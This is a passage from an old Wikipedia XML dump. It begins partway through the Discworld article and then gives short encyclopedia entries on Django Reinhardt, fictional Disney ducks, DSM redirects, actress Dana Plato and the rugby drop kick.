[http://www.snowgumfilms.com/index2.htm].  A fan movie adaptation of ''[[Lords and Ladies (novel)|Lords and Ladies]]'' is currently being produced in [[Germany]]. [http://www.rzuser.uni-heidelberg.de/%7Ejknoblo2/LnL/index.html]  As of January 10, 2006, [[Sam Raimi]] is expected to direct an adaptation of ''[[The Wee Free Men]]'' for [[Sony Pictures]] following his completion of ''[[Spider-Man 3]]''. [http://filmforce.ign.com/articles/680/680582p1.html][http://www.paulkidby.com/news/jan2006.html]  In the UK Sky TV have commissioned a £6 million 'made for television' adaptation of The Hogfather with [[David Jason]] playing the role of Albert, to be filmed in 2006.

===Animated adaptations===
[[Animated]] adaptations of ''Soul Music'' and ''Wyrd Sisters'' were produced by [[Cosgrove-Hall]] Productions for [[Channel 4]] in [[1996]]. These are available on DVD and VHS in the US from Acorn Media. The [[soundtrack]] to ''Soul Music'' was also released on CD.

===Radio adaptations===
There have been several [[BBC]] radio adaptations of Discworld stories, including versions of ''[[Wyrd Sisters]]'', ''[[Guards! Guards!]]'' (narrated by [[Martin Jarvis]]), ''The Amazing Maurice and his Educated Rodents,'' and ''Mort''.

===Audio book adaptations===
Most of Pratchett's novels have been released as [[Audio book|audio books]], both abridged (read by [[Tony Robinson]]) and unabridged (read by [[Nigel Planer]] or Celia Imrie in the case of earlier works, or Stephen Briggs in the case of later ones).

==Music==
* [[Dave Greenslade]]: ''Terry Pratchett's From the Discworld'', [[1994]] (Virgin CDV 2738.7243&amp;nbsp;8&amp;nbsp;39512&amp;nbsp;2&amp;nbsp;2). [http://www.amazon.co.uk/exec/obidos/ASIN/B0000070MA/qid%3D1126663627/026-6581723-6274069]

* [[Keith Hopwood]]: ''Soul Music - Terry Pratchett's Discworld'', [[1998]] (Proper Music Distribution / Pluto Music TH 030746), soundtrack to the animated adaptation of ''Soul Music''.

==Spin-off games==
===Role-playing games===
In addition [[Terry Pratchett]] co-authored with [[Phil Masters]] two [[role-playing game]] supplements for Discworld, utilising the [[GURPS]] system:
* [[GURPS Discworld]] (republished as The Discworld Roleplaying Game)
* [[GURPS Discworld Also]]

An unofficial online supplement to this is:
* [http://www.byenighte.com/ GURPS Discworld Bye Nighte]

===Computer games===
Available computer games are:
* ''[[The Colour of Magic (computer game)|The Colour of Magic]]'' ([[ZX Spectrum]], [[Commodore 64]])
* ''[[Discworld (computer game)|Discworld]]'' ([[IBM PC compatible|PC]]/DOS], [[PlayStation]], [[Sega Saturn]])
* ''[[Discworld 2]]: Missing Presumed...!?'' (Europe) / ''Discworld 2: Mortality Bytes!'' (USA) (PC/Windows, PC/DOS,  Playstation)
* ''[[Discworld Noir]]'' (PC/Windows, PlayStation)
* [[Discworld MUD]] ([[Internet]])

===Board games===
There is also a Discworld [[board game]], [[Thud]], created by puzzle compiler [[Trevor Truran]].

===Card games===
There is an adaptation of the card game [[Cripple Mr Onion]] from the novel [[Witches Abroad]].

==Merchandise==
Various other types of related merchandise have been produced by [[cottage industry|cottage industries]] with an interest in the books, including [[Stephen Briggs]], [[Bernard Pearson]] and [[Clarecraft]].

==Miscellaneous==
It is even possible to get a character in one of the future Discworld books named after yourself. Usually people appear in the books by bidding for the privilege in charity auctions. The first one of these is Colette in ''Maskerade'', who is briefly commented on by Granny Weatherwax, referring to the interesting earrings she is wearing. This is a reference to a girl Pratchett met at a convention, who was wearing &quot;[[Minor Discworld concepts#Anorankh|Anorankh]]&quot; earrings &amp;ndash; small figurines of an ankh wearing an anorak. The idea has resulted from a bit of confusion on the Pratchett newsgroup, and has become an unofficial symbol for the fanclub; they are made available as merchandise.

==Stealth Philosophy==
Throughout many of his novels, Pratchett employs what has been dubbed &quot;Stealth Philosophy&quot;. That is to say, he will subtly (or not-so-subtly) hide philosophical struggles, questions, and arguments within the texts of his books, without (often) overtly stating them. Pratchett is deeply concerned about the [[ethics|philosophy of ethics]], the [[philosophy of religion]], the [[philosophy of mind|mind]] as well as topics related to [[popular science]] - lampooning the usual misunderstandings of things like [[quantum physics]] and [[Theory of Relativity|relativity]]. 

His [[good witch]], [[Granny Weatherwax]], takes the form of an archetypical evil crone:

:Mrs Earwig would definitely have objected to the cottage. It was out of  storybook. The walls leaned against one another for support, the thatched roof was slipping off like a bad wig, and the chimneys were corkscrewed. If you thought a gingerbread house would be too fattening, this was the next worst thing.
:''&quot;In a cottage deep in the forest lived the wicked old witch ...&quot;''
:It was a cottage out of the nastier kind of fairy tale.
:&amp;ndash; ''A Hat Full of Sky''

His good public servant, Lord [[Havelock Vetinari]], is an [[assassin]] and a [[tyrant]].

In general, he presents the notion that to be good quite often results in being perceived as bad or evil by the very people you're doing good for, and in many of his stories image is quite often eventually overcome, without fanfare, by substance.
:&lt;span style=&quot;font-variant:small-caps&quot;&gt;Some people will do anything for the sheer fascination of doing it,&lt;/span&gt; said Death. &lt;span style=&quot;font-variant:small-caps&quot;&gt;Or for fame. Or because they shouldn't.&lt;/span&gt;
:&amp;ndash; ''Hogfather''

In the &quot;elf&quot; books as elsewhere, he presents the notion that our &quot;world&quot; is subjective, and is constructed internally. In particular, that it is constructed out of [[narrative|stories]]. Related to this is the idea that most of our experience is filtered out before it reaches consciousness:

:''You build little worlds, little stories, little shells around your mind and that keeps infinity at bay and allows you to wake up in the morning without screaming!''
:&amp;ndash; ''A Hat Full of Sky''

:&quot;All right,&quot; said Susan, &quot;I'm not stupid. You're saying humans need ... ''fantasies'' to make life bearable.&quot;
:&lt;span style=&quot;font-variant:small-caps&quot;&gt;No. Humans need fantasy to be human. To be the place where the falling angel meets the rising ape.&lt;/span&gt;
:&quot;Tooth fairies? Hogfathers?&quot;
:&lt;span style=&quot;font-variant:small-caps&quot;&gt;Yes. As practice. You have to start out learning to believe the ''little'' lies.&lt;/span&gt;
:&quot;So we can believe the big ones?&quot;
:&lt;span style=&quot;font-variant:small-caps&quot;&gt;Yes. Justice. Mercy. Duty. That sort of thing.&lt;/span&gt;
:&quot;They're not the same at all!&quot;
:&lt;span style=&quot;font-variant:small-caps&quot;&gt;Take the universe and grind it down to the finest powder and sieve it through with the finest sieve and then ''show'' me one atom of justice. And yet you act as if there were some sort of rightness in the universe by which it may be judged.&lt;/span&gt;
:&quot;Yes. But people have ''got'' to believe that or what's the ''point''&amp;mdash;&quot;
:&lt;span style=&quot;font-variant:small-caps&quot;&gt;My point exactly.&lt;/span&gt;
:&amp;ndash; ''Hogfather''

Also in the Elves books he presents elves as nasty, evil creatures, as they are in original English folk songs and stories e.g. [[Tam Lin]] &lt;!-- Yes, the Faerie folk or Fae ARE Elves.  Fairies (note different spelling) are Tinkerbell's mob There are even Tam Lin Allusions in Lords &amp; Ladies IIRC Wikipedia only has a Fairy article which vaguely mentions that Elves &amp; faeries are linked --&gt;, quite in contrast with how they were portrayed by [[Tolkien]] which is more commonly known these days.

&quot;Elves are wonderful. They provoke wonder.&lt;br/&gt;
Elves are fantastic. They create fantasies.&lt;br/&gt;
...&lt;br/&gt;
Elves are terrific. They beget terror.&lt;br/&gt;
The thing about words is that meanings can twist just like a snake...&quot;&lt;br/&gt;
''Lords and Ladies''&lt;br/&gt;

A large portion of ''Carpe Jugulum'' is about internal &quot;struggles&quot;, and how pieces of our mind do not always agree with other pieces of our mind (And how some of us feel we have &quot;Darker&quot; selves within us, that we keep deep, deep down). Aside from the obviously &quot;split&quot; mind character (Perdita and Agnes), it is shown that even characters as decisive as Granny Weatherwax have inner &quot;selves&quot; that they struggle with.

===Villains===
One interesting element of Discworld, certainly one that distinguishes it from much other fantasy, is its relative lack of recurring or overarching  villains. This is mainly a tribute to the complexity of Pratchett's characters; many of his potential villains, such [[Lord Vetinari]] and [[Lord Downey]], are too multifaceted to be simplistically characterised as &quot;evil&quot;, while other more standard villains, such as [[Minor Discworld characters#Lord Rust|Lord Rust]], are depicted merely as egocentric dullards. Principal villains in Discworld novels tend to die or be put similarly out of action by the story's end. The [[Lovecraftian]] creatures from the [[Dungeon Dimensions]] cannot be considered evil in any true sense, since they are utterly amoral and have no true motivations.  There are however, two groups of villains that featured prominently in many of the stories and have, in their own ways, come to represent the force of evil in the Discworld. They are the [[Discworld gods#The Auditors of Reality|Auditors of Reality]] and the [[elf (Discworld)|Elves]]. These two races are, in many respects, opposite ends of the same spectrum. The Auditors, cosmic bureaucrats who prefer a universe where electrons spin, rocks float in space and imagination is dead, represent the perils of handing yourself over to a completely materialist and deterministic vision of reality, devoid of the myths and stories that make us human. The Elves, innately psychopathic beings who seek to dominate us by usurpring our free will with glamour and false magic, represent the dangers of giving yourself over completely to stories and superstition. Together they appear to reflect the philosophy Pratchett expresses in ''[[Hogfather]]''; that while the stories we weave may not be true, we still need them to continue our existence.

==See also==
{{wikiquote}}
*[[Discworld (world)]]
*[[Discworld characters]]

==External links==
* [http://www.terrypratchettbooks.org/ Terry Pratchett Unseen Message Board] A Discworld fan's site with live chat, forum discussions and get-togethers. 
* [http://www.avidgamers.com/Otherside/ When Dragons Belch and Hippos Flee], An Aknh-Morpork RolePLay site, where you can be your favorite character!
* [http://www.adventureclassicgaming.com/index.php/site/features/177/ A discussion of the Discworld computer and console games], Adventure Classic Gaming, 2003.
* [http://www.discworldmonthly.co.uk Discworld Monthly] (free monthly newsletter about Terry Pratchett OBE and his Discworld and other novels.)
* [http://www.discworld.com/ Terry Pratchett's: Only You Can Save Mankind - The Musical] A single page from 2004. No longer under construction.
* [http://www.electric-escape.net/pratchett/ Terry Pratchett Quotes archive] A searchable database of quotes from Terry Pratchett's novels.
* [http://www.lspace.org/books/reading-order-guides/the-discworld-reading-order-guide-colour-1-25.gif A 30kb .gif showing the interrelationships between the books and series within Discworld]
* [http://www.byenighte.com/ GURPS Discworld Bye Nighte]
* [http://discworld.atuin.net/ Discworld MUD] Allows you to enter the Discworld and become a wizard or assassin, or whatever you choose.
* [http://bb.tpdw.com The Watch House] An unofficial messageboard for discussing Discworld and other related topics
* [http://www.dwcon.org Discworld Convention 2006] The original Discworld Convention, in Leicestershire, Britain in August 2006
* [http://www.ausdwcon.org Nullus Anxietas] The Australian Discworld Convention

{{Discworld}}


[[Category:Discworld]]
[[Category:Fantasy series]]

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    </revision>
  </page>
  <page>
    <title>Django Reinhardt</title>
    <id>9039</id>
    <revision>
      <id>42002361</id>
      <timestamp>2006-03-03T03:48:04Z</timestamp>
      <contributor>
        <ip>138.130.0.201</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Django&amp;Grappelli.jpg|thumb|right|300px|Django (left) &amp; Grappelli (right).]]

'''Jean Baptiste &quot;[[Django]]&quot; Reinhardt''' ([[January 23]], [[1910]] &amp;ndash; [[May 16]], [[1953]]) was a [[Belgium|Belgian]] [[Roma and Sinti|Gypsy]] [[jazz]] [[musician|musician]]. He was one of the first important jazz musicians to be born in Europe. His most renowned tunes include &quot;Minor Swing&quot;, &quot;Tears&quot;, &quot;Belleville&quot; and &quot;Nuages&quot; ([[French language|French]], meaning &quot;Clouds&quot;).  Django is pronounced '''zhane'''-go (with a long 'a').

==Biography==

Born in [[Liberchies]], [[Pont-à-Celles]], [[Belgium]], Reinhardt spent most of his youth in [[gypsy]] encampments close to [[Paris]], [[France]], playing [[banjo]], [[guitar]] and [[violin]] from an early age professionally at dance halls in [[Paris]]. He started first on the [[violin]] and eventually moved on to a [[banjo-guitar]] that had been given to him, and his first known recordings (in [[1928]]) were of him playing the banjo (a banjo guitar has six strings and is tuned like a [[guitar]]).
[[Image:Django_Reinhardt.jpg|thumb|Django Reinhardt as a boy]]
At the age of 18, Reinhardt was injured in a fire that ravaged the [[convoy|caravan]] he shared with his first wife where he almost lost a leg. The third and fourth digits on his left hand (his [[fret]]ting hand) were burned badly. Reinhardt focused on the guitar and developed an original style of playing that emphasized his undamaged fingers.

In 1934, Louis Vola formed the &quot;[[Quintette du Hot Club de France]]&quot; with Reinhardt, [[violin]]ist [[Stéphane Grappelli]], Reinhardt's brother [[Joseph Reinhardt|Joseph]] and [[Roger Chaput]] on guitar, and [[Louis Vola]] on bass. He produced numerous recordings at this time, and played with many American Jazz legends such as [[Coleman Hawkins]], [[Benny Carter]] ,  [[Rex Stewart]]  and  [[Louis Armstrong]]

As [[World War II]] was declared, the [[quintet]] was on tour in the [[United Kingdom]]. Reinhardt returned to [[Paris]] at once, leaving his wife behind. Grappelli remained in the [[United Kingdom]] for the duration of the war, and Reinhardt reformed the quintet in [[Paris]] with [[Hubert Rostaing]] on [[clarinet]] in place of Grappelli's violin.

Reinhardt survived [[World War II]] unscathed, unlike many other gypsies who perished in the concentration [[death camp]]s of the [[Nazi]]s. He had the help of a [[Luftwaffe]] official named [[Dietrich Schulz-Köhn]], a.k.a. Doktor Jazz, who deeply admired his music. In [[1943]] he married Sophie Ziegler in Salbris, with whom he had a son; [[Babik Reinhardt]], who went on to become a respected guitarist in his own right.

After the war, Reinhardt rejoined Grappelli in the UK, and went on to tour the [[United States]], opening for [[Duke Ellington]], and playing at [[Carnegie Hall]]. Unfortunately and despite Reinhardt's great pride in touring with Ellington (one of his two letters to Grappelli relates this excitment), he wasn't really integrated into the band. He only played a few tunes at the end of the show as Duke didn't write any special arrangements for him. He returned to France with broken dreams, but continued to play and make many recordings.

Django Reinhardt was among the first people in [[France]] to appreciate and understand the music of [[Charlie Parker]] and [[Dizzy Gillespie]] whom he sought after when he first arrived in [[New York]]. Unfortunately they were all on tour. He integrated some elements of their music, still never compromising his own musical visions.

He later formed a new band with [[saxophone]], [[trumpet]], [[piano]], [[double bass|bass]] and [[drums]]. He continued composing, and is regarded as among the most advanced guitar players of [[jazz music]].

In [[1951]], he retired to [[Samois sur Seine]], [[France]], near [[Fontainebleau]]. He lived there for two years until [[May 16]], [[1953]], when, while returning from the [[Avon, Seine-et-Marne|Avon]] train station, he collapsed outside of his house from a brain [[hemorrhage]]. It took one day for a doctor to arrive and he was declared [[dead on arrival]] at the hospital in [[Fontainebleau]].

==Trivia==
*The Concept of &quot;Lead Guitar&quot; (Django) and backing &quot;Rhythm Guitars&quot; (Joesph Reinhardt/Roger Chaput) was born with the [[Quintette Du Hot Club of France]] , without percussion instruments they used the &quot;Rhythm Guitars&quot; to serve this purpose.
*Reinhardt is portrayed in the opening sequence of the 2003 cartoon ''[[Les Triplettes de Belleville]]'', playing a mean guitar with his three fingers and puffing cigarette smoke out of his ears. He is also portrayed by guitarist John Jorgenson in the movie ''[[Head in the Clouds]]''.
*Reinhardt is the idol of the fictional 1930's guitarist, [[Emmet Ray]]([[Sean Penn]]),who passes out upon meeting Django in the [[Woody Allen]] film ''[[Sweet and Lowdown]]'' ([[1999]]).
*The song [[Johnny Depp]] plays in the river party scene in [[Lasse Hallström]]'s ''[[Chocolat (film)|Chocolat]]'' was Django and Grapelli's great hit, &quot;Minor Swing&quot;.
*Django's &quot;Minor Swing&quot; can also be heard in the background during the oracle scene in ''[[The Matrix]]''.
*Djangos compositions ''Rhythm Futur'' (95 minute mark) and ''I Cant Give You Anything But Love'' (41 minute mark) are both portrayed in the movie ''[[The Aviator]]''.
*His song ''Nuages'' is also in the movie ''[[Gattaca]]'' during a scene where [[Ethan Hawke]] demonstrates the clouds of [[Titan (moon)|Titan]] in a wine glass using smoke from his cigar.  
* The movie [[Head in the Clouds]] portrays Django playing guitar
*[[The Beatles]] tune [[Piggies]] allegedly steals a melody from Grappelli's &quot;Eveline&quot; as recorded by Django.
*[[Black Sabbath]] guitarist [[Tony Iommi]] was inspired by Reinhardt to keep playing guitar after an accident which cost him his fingertips.Thus Toni Iommis' music and [[Black Sabbath]] were also influenced by Django.
*[[George Benson]] cites Django as an influence on him
*[[Carlos Santana]] is influenced by Django 
*The [[Allman Brothers Band]] song [[Jessica (song)|Jessica]] was written by guitarist Dickey Betts in tribute to Reinhardt.  He wanted to write a song that could be played using only two fingers.
*[[B.B King]], cites Django as one of his main influences.
*[[Jerry Garcia]] of the Grateful Dead is influenced by Django
*[[Trey Anastasio]] formerly of [[Phish]] , his favorite guitarist is Django
*[[Willie Nelson]] cites Django as an influence on him
*[[Bob Wills]] and Western Swing was influenced by Django and Stephane Grappelli,Thus in turn influencing country music of today
*[[David Lee Roth]] covered &quot;Limehouse Blues&quot; and &quot;Excatly like You&quot; on his Video &quot;[[No Holds Bar-Be-Que]]&quot; 
*[[Charlie Christian]] is influenced by Django
*[[David Crosby]] named one of his sons &quot;Django&quot;
*Famed classical guitarist [[Julian Bream]] began playing guitar as a result of hearing Reinhardt.
*[[Les Paul]] was influenced by Django
*The [[Django web framework]], a Python web framework, was named after Reinhardt.
*The 2002 video game Mafia used songs &quot;Minor Swing&quot;, &quot;Rhythm Futur&quot;, &quot;Vendredi&quot;, &quot;Oiseaux des Iles&quot;, &quot;Belleville&quot;, &quot;Lentement, Mademoiselle&quot;, &quot;Douce Ambiance&quot;, &quot;Manoir de mes Rêves&quot; and &quot;Cavalerie&quot; as the majority of the soundtrack.
*[[Sealab 2021]] paid tribute to Django in the episode &quot;Bebop Cola&quot;. In it, Captain Murphy comments on a drink dispensed from the Bebop Cola machine: &quot;Ahh, Mango Rheinhardt! The thinking man's pop!&quot;
*[[Harlan Ellison]]'s short story &quot;Django&quot; is a fantasia about a guitarist, with similarities to Reinhardt.

==Discography==

Releases

*[[2004]] Le Génie Vagabond
*[[2003]] Jazz in Paris: Nuits de Saint-Germain des-Prés  
*[[2003]] Jazz in Paris: Nuages  
*[[2001]] All Star Sessions  
*[[1996]] Imagine  
*[[1959]] Django Reinhardt and His Rhythm  
*[[1955]] Django's Guitar  
*[[1954]] The Great Artistry of Django Reinhardt  
*[[1953]] Django Reinhardt et Ses Rythmes  
*[[1951]] At Club St. Germain  
*[[1951]] Django Reinhardt and the Hot Club Quintet  
*[[1945]] Paris [[1945]]

Compilations

*Rétrospective Django Reinhardt 1934/53 (''probably the most complete one'')
*The Django -- The Unforgettable
*Django Reinhardt [Forlane]
*Stardust Records Presents Django Reinhardt: Anthology [[1934]]-[[1937]]
*Django
*The Art of Django
*Quintet of the Hot Club of France [GNP]
*Vol. 6: Nuages
*Django Reinhardt and the Quintet
*Django, Vol. 2 [ITI]
*Djangologie/USA, Vols. 3 &amp; 4



== See also ==
*[[Gypsy_jazz|Gypsy Jazz]]
*[[Golden Django]]
*[[Django Reinhardt Jazz Festival]]

==External links==
*[http://django.samois.free.fr/ Django Reinhardt Jazz Festival] holding in [[Samois-sur-Seine]] in [[France]]
*[http://www.djangostation.com All information relating to Django reinhardt and Jazz manouch (in French)]
*[http://www.djangobooks.com Django Reinhardt / Gypsy Jazz resources]
*[http://www.gainsbourg.org/vrsn3/html/zooms/djangoreinhardt/ A Tribute to Gainsbourg, zoom sur Django Reinhardt]
*[http://www.jazzguitar.be/django_reinhardt_licks.html Django Reinhardt guitar tab]
*[http://hotclub.co.uk HotClub UK Forum]
*[http://www.redhotjazz.com/django.html A biography]
*[http://www.newyorker.com/critics/books/?041206crbo_books A long review by Adam Gopnik of Michael Dregni’s biography, “Django: The Life and Music of a Gypsy Legend”]
*[http://www.guitar-poll.com/DR.php Guitar-Poll]
*[http://blog.wfmu.org/freeform/2006/02/videos_france_g.html Film of Django playing alone and with his quintet, courtesy of WMFU's Beware of the Blog]
[[Category:1910 births|Reinhardt, Django]]
[[Category:1953 deaths|Reinhardt, Django]]
[[Category:Jazz guitarists|Reinhardt, Django]]
[[Category:Belgian jazz musicians|Reinhardt, Django]]
[[Category:Belgian guitarists|Reinhardt, Django]]
[[Category:Roma people|Reinhardt, Django]]

[[de:Django Reinhardt]]
[[eo:Django REINHARDT]]
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[[fr:Django Reinhardt]]
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  </page>
  <page>
    <title>Digit</title>
    <id>9041</id>
    <revision>
      <id>39694940</id>
      <timestamp>2006-02-15T05:06:22Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/210.183.42.18|210.183.42.18]] ([[User talk:210.183.42.18|talk]]) to last version by Enochlau</comment>
      <text xml:space="preserve">'''Digit''' may refer to:

* A [[finger]] or a [[toe]]
* [[Numerical digit]], as used in mathematics or computer science
* [[Digit (unit)]], an ancient meterological unit
* [[Digit (magazine)]], an Indian information technology magazine

{{disambig}}

[[es:Dígito]][[sl:števka]]</text>
    </revision>
  </page>
  <page>
    <title>Downy O'Drake</title>
    <id>9042</id>
    <revision>
      <id>28602135</id>
      <timestamp>2005-11-17T16:47:22Z</timestamp>
      <contributor>
        <username>Supermorff</username>
        <id>239586</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Downy O'Drake''' is a [[fictional character]] of the [[Scrooge McDuck universe]]. She was born in [[Ireland]] in [[1840]]. She married [[Fergus McDuck]] and became the mother of three children:
*[[Scrooge McDuck]] ([[1867]]-[[1967]]).
*[[Matilda McDuck]] ([[1871]]-[[1971]]).
*[[Hortense McDuck]] ([[1876]]-[[1976]]).

She was a very devoted [[homemaker|housewife]] and mother. She settled in Dismal Downs, [[the Clan McDuck]]'s old castle, along with her family on [[1885]]. She died in [[1897]], aged 57, and was buried in the McDucks' cemetery.


[[Category:Characters in the Scrooge McDuck universe|O'Drake, Downy]]
[[Category:Fictional ducks|O'Drake, Downy]]

[[it:Piumina O'Drake]]</text>
    </revision>
  </page>
  <page>
    <title>Dingus McDuck</title>
    <id>9043</id>
    <revision>
      <id>37486155</id>
      <timestamp>2006-01-31T07:28:26Z</timestamp>
      <contributor>
        <username>Bryan Derksen</username>
        <id>66</id>
      </contributor>
      <minor />
      <comment>sequence template</comment>
      <text xml:space="preserve">'''Dingus McDuck''', nicknamed &quot;Dirty,&quot; is a [[fictional character]] of the [[Scrooge McDuck universe]]. He was a descedant of Captain [[Hugh McDuck|Hugh &quot;Seafoam&quot; McDuck]] and younger brother of [[Quagmire McDuck]]. He was a [[coal]] miner in [[Glasgow]], [[Scotland]]. He married fellow coal miner [[Molly Mallard]] and became the father of three sons:

*[[Angus McDuck]] ([[1829]]-[[1901]]).
*[[Jake McDuck]] ([[1832]]- after [[1952]] ?).
*[[Fergus McDuck]] ([[1835]]&amp;ndash;[[1902]]).

Through his sons he is the paternal grandfather of [[Rumpus McFowl]], [[Scrooge McDuck]], [[Matilda McDuck]], [[Hortense McDuck]] and [[Gideon McDuck]], a great-grandfather of [[Donald Duck]] and [[Della Thelma Duck]] and great-great-grandfather to [[Huey, Dewey and Louie]].

{{Sequence|
 prev=[[Hugh McDuck]]|
 list=Important members of [[the Clan McDuck]]|
 next=[[Fergus McDuck]]
}}

[[Category:Characters in the Scrooge McDuck universe|McDuck, Dingus]]
[[Category:Fictional ducks|McDuck, Dingus]]
[[Category:Fictional Scots|McDuck, Dingus]]
[[it:Dingo de Paperoni]]</text>
    </revision>
  </page>
  <page>
    <title>DSM-IV-TR</title>
    <id>9044</id>
    <revision>
      <id>15906967</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Diagnostic and Statistical Manual of Mental Disorders]]
</text>
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  </page>
  <page>
    <title>DSM-III</title>
    <id>9045</id>
    <revision>
      <id>15906968</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Diagnostic and Statistical Manual of Mental Disorders]]

</text>
    </revision>
  </page>
  <page>
    <title>DSM-III-R</title>
    <id>9046</id>
    <revision>
      <id>15906969</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Diagnostic and Statistical Manual of Mental Disorders]]
</text>
    </revision>
  </page>
  <page>
    <title>Daphne Duck</title>
    <id>9047</id>
    <revision>
      <id>28601338</id>
      <timestamp>2005-11-17T16:35:27Z</timestamp>
      <contributor>
        <username>Supermorff</username>
        <id>239586</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Daphne Duck''' is a [[fictional character]], presented in [[Walt Disney]]'s [[comic book]]s.  According to [[Keno Don Rosa|Don Rosa]]'s 
story &quot;The Sign of The Triple Distelfink&quot;, she is the daughter of [[Humperdink Duck]] and [[Elvira Coot]].  On the day of her birth, a traveling worker painted a giant sign of The Triple [[Distelfink]] on her parents' stable.  The symbol was supposed to bring the baby luck, and it did: Daphne was always incredibly lucky.

She worked in her parents' farm until at least [[1902]].  Later, she stopped working and started living on the things she won in contests.

She married [[Goosetave Gander]] and on [[1920]] became the mother of [[Gladstone Gander]].  The child was born on her birthday and under the protection of the same symbol as his mother.

It is unknown when excactly Daphne died but presumably before [[1948]].


[[Category:Characters in the Scrooge McDuck universe|Duck, Daphne]]
[[Category:Fictional ducks|Duck, Daphne]]

[[it:Dafne Duck]]</text>
    </revision>
  </page>
  <page>
    <title>Dana Plato</title>
    <id>9048</id>
    <revision>
      <id>40767968</id>
      <timestamp>2006-02-22T22:11:22Z</timestamp>
      <contributor>
        <username>Oanabay04</username>
        <id>678376</id>
      </contributor>
      <text xml:space="preserve">[[Image:Dana.jpg|thumb|Plato as she appeared as Kimberly Drummond in the late [[1970s|'70s]] [[sitcom]] ''[[Diff'rent Strokes]]''.]]
'''Dana Michelle Plato''' ([[November 7]], [[1964]] &amp;ndash; [[May 8]], [[1999]]) was an [[United States|American]] [[Actor|actress]] who became famous playing the role of Kimberly Drummond in the U.S. television [[Situation comedy|sitcom]] ''[[Diff'rent Strokes]]''. Plato was born in [[Maywood, California]] and grew up in the [[San Fernando Valley]] in [[Los Angeles, California|Los Angeles]].

Plato was dismissed from ''Diff'rent Strokes'' when she became pregnant. Producers felt it would not have suited her character, though Plato returned to the show for several cameo appearances after her pregnancy. Her career slumped after the show, with appearances in low-budget films, including some soft-core [[pornography]], and in some minor roles in made for [[TV movie]]s. She had a starring role in the pioneering and wildly controversial live action [[Computer and video games|video game]] ''[[Night Trap]]'' in [[1992]]. She also had repeated [[drug abuse | drug]] and [[Alcoholism | alcohol]] problems.

Plato appeared partially [[nude]] in ''[[Prime Suspect]]'' ([[1988]]), ''[[Compelling Evidence]]'' ([[1995]]), and ''Different Strokes: The story of Jack and Jill... and Jill'' ([[1998]]), a softcore movie unrelated to her TV series. She was also the feature of a [[Playboy]] pictorial in [[1989]].

Plato's one-year marriage to [[Lanny Lambert]] produced a son, Tyler Lambert (born [[1985]]). She was arrested in [[1991]] for robbing a video store in [[Las Vegas, Nevada|Las Vegas]] with a pellet gun, but was placed on [[probation]]. The following year Plato was arrested again, this time for forging a prescription for [[Valium]]. 

In [[1999]] she and [[Robert Menchaca]], her fiancé, were returning to California following Plato's appearance on the [[Howard Stern]] show, hoping to revive her stagnant career. They stopped at Menchaca's mother's home in [[Moore, Oklahoma]] for a [[Mother's Day]] visit. She died there of an overdose from [[carisoprodol|Vanadom]] and [[hydrocodone|Vicodin]]. Her death was subsequently ruled a [[suicide]]. Plato was just 34 years of age.

==External links==
*{{imdb name | id=0686818 | name=Dana Plato}}
*[http://www.sitcomsonline.com/danaplato.html A Dana Plato memorial site]
*[http://www.franksreelreviews.com/shorttakes/plato.htm Diff'rent Drugs for Diff'rent Folks - Dana Plato]

[[Category:1964 births|Plato, Dana]]
[[Category:1999 deaths|Plato, Dana]]
[[Category:American actors|Plato, Dana]]
[[Category:Child actors|Plato, Dana]]
[[Category:Entertainers who committed suicide in their 30s|Plato, Dana]]
[[Category:LGBT actors|Plato, Dana]]
[[Category:People from the San Fernando Valley|Plato, Dana]]
[[Category:Television actors|Plato, Dana]]</text>
    </revision>
  </page>
  <page>
    <title>Donna Duck</title>
    <id>9050</id>
    <revision>
      <id>36971790</id>
      <timestamp>2006-01-27T18:16:36Z</timestamp>
      <contributor>
        <username>Sagitario</username>
        <id>144957</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Donna Duck''' is a fictional [[duck]] who is one of [[Walt Disney]]'s [[animated cartoon]] and [[comic book]] characters. She first appeared in the cartoon &quot;Don Donald&quot; on [[January 9]], [[1937]] as [[Donald Duck]]'s [[Mexico|Mexican]] girlfriend. She never reappeared in cartoons but became a regular in the Disney [[newspaper]] [[comic strips]]. She was replaced by [[Daisy Duck]] as Donald's girlfriend in [[1940]]. Some believe that Donna and Daisy are the same character, but this can't be since both of them appeared as rivals for Donald's affection in a newspaper strip published on [[August 7]], [[1951]]. She had a fiancé, a caricature of Disney cartoonist [[Manuel Gonzales]], in the last strip she appeared in (published [[August 11]] the same year).

Some fans have believed her to be the sister of Daisy and the mother of Daisy's nieces [[April, May, and June Duck]].

[[Category:Donald Duck universe characters|Duck, Donna]]
[[Category:Fictional Mexicans|Duck, Donna]]
[[Category:Fictional ducks|Duck, Donna]]</text>
    </revision>
  </page>
  <page>
    <title>Drop kick</title>
    <id>9051</id>
    <revision>
      <id>41172792</id>
      <timestamp>2006-02-25T14:59:15Z</timestamp>
      <contributor>
        <username>Zzuuzz</username>
        <id>365454</id>
      </contributor>
      <minor />
      <comment>/* Rugby football */ dab rugby</comment>
      <text xml:space="preserve">:''For a move in [[professional wrestling]], see [[dropkick]].''
A '''drop kick''' involves someone dropping a ball and then [[kick (football) | kick]]ing it when it bounces off the ground.  It contrasts to a [[Punt kick|punt]] wherein the dropper kicks the ball without letting it hit the ground first.

== Rugby football ==
Originally in [[Rugby football|Rugby]], a drop-kick was one of only two ways to score points along with the [[place kick]]. 

Drop kicks have been up to 65-70 metres long in the past in rugby, though being able to perform a 50 metre drop kick is considered adequate in the professional game. Various anecdotes from some of the elder clubs suggest that drop-kicks as far as 75 metres have been successfully, such as a famous early [[St Joseph's College, Hunter's Hill/SJC]] game &quot;where the ball was kicked 80 yards up a significant gradient to win the game&quot;, but no such feats have been performed before recorded imagery.

